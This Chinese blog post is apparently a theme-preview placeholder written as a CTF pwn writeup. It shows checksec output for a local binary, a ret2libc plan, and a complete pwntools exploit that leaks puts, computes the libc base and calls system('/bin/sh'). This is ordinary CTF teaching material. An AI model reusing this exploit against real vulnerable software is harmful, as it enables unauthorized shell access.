这是一篇用于预览新主题的测试文章。后面你可以直接删除或改名,真实文章放进 source/_posts 之后,首页、归档、分类、标签、搜索都会自动跟着更新。

快速结论

这套主题更像一个技术人员维护的实验记录:信息密度高一点,颜色克制一点,重点放在文章标题、代码块、目录和检索上。

主题测试的目标不是把页面堆满效果,而是让读 writeup 的时候不累,扫归档的时候能快速定位。

环境检查

先看一下基础保护:

$ checksec ./vuln
[*] './vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
项目 状态 影响
Canary disabled 可以覆盖返回地址
NX enabled 需要 ROP 或 ret2libc
PIE disabled 程序段地址稳定
RELRO partial GOT 仍有分析价值

利用思路

  1. 泄露 puts@got 的真实地址。
  2. 根据 libc 计算 system/bin/sh
  3. 第二次返回到 system("/bin/sh")
from pwn import *

elf = ELF("./vuln")
libc = ELF("./libc.so.6")
context.binary = elf
context.log_level = "debug"

p = process(elf.path)
rop = ROP(elf)

pop_rdi = rop.find_gadget(["pop rdi", "ret"])[0]
payload = flat(
b"A" * 72,
pop_rdi,
elf.got["puts"],
elf.plt["puts"],
elf.symbols["main"],
)

p.sendlineafter(b"input:", payload)
leak = u64(p.recvline().strip().ljust(8, b"\x00"))
libc.address = leak - libc.symbols["puts"]

payload = flat(
b"A" * 72,
pop_rdi + 1,
pop_rdi,
next(libc.search(b"/bin/sh")),
libc.symbols["system"],
)

p.sendlineafter(b"input:", payload)
p.interactive()

记录习惯

建议每篇文章固定写这几块:

  • checksec 和题目信息。
  • 漏洞触发点。
  • 栈布局或堆布局。
  • exp 调试过程。
  • 最终脚本和复盘。

后续可替换

这篇只是主题测试文章。等你的真实文章恢复后,可以删掉这个文件,或者保留它当作 Markdown 排版模板。